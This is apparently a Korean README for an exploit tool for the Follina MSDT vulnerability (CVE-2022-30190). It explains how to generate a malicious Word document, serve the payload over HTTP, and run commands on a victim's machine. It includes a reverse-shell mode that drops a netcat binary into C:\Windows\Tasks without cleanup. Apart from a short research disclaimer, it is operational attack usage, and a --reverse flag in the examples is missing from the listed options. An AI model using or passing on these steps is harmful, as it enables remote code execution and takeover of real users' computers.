
FOLLINA-CVE-2022-30190 구현
FOLLINA-CVE-2022-30190 구현
이 저장소는 FOLLINA-CVE-2022-30190 취약점을 위한 익스플로잇 도구를 포함합니다.
이 도구는 보안 테스트 및 연구 목적으로 개발되었습니다. 이 도구를 클론/포크함으로써 원 개발자는 행위자의 행동에 대한 모든 책임을 지지 않습니다.
악성 Microsoft Word 문서로 "Follina" MS-MSDT 공격을 생성하고 HTTP 서버에서 페이로드를 호스팅하세요.
usage: exploit.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND
command to run on the target (default: calc)
--output OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT
port to serve the HTTP server (default: 8000)
calc.exe 실행:
$ python3 exploit.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./cve202230190.doc
[+] serving html payload on :8000
cmd.exe 실행:
$ python3 exploit.py --command "cmd"
포트 9001에서 리버스 셸을 획득합니다. 참고로, 이는 피해자에게 netcat 바이너리를 다운로드하여 C:\Windows\Tasks에 배치합니다.
이 바이너리를 정리하지 않습니다. AV가 비활성화되지 않으면 안티바이러스 탐지를 유발합니다.
$ python3 exploit.py --reverse 9001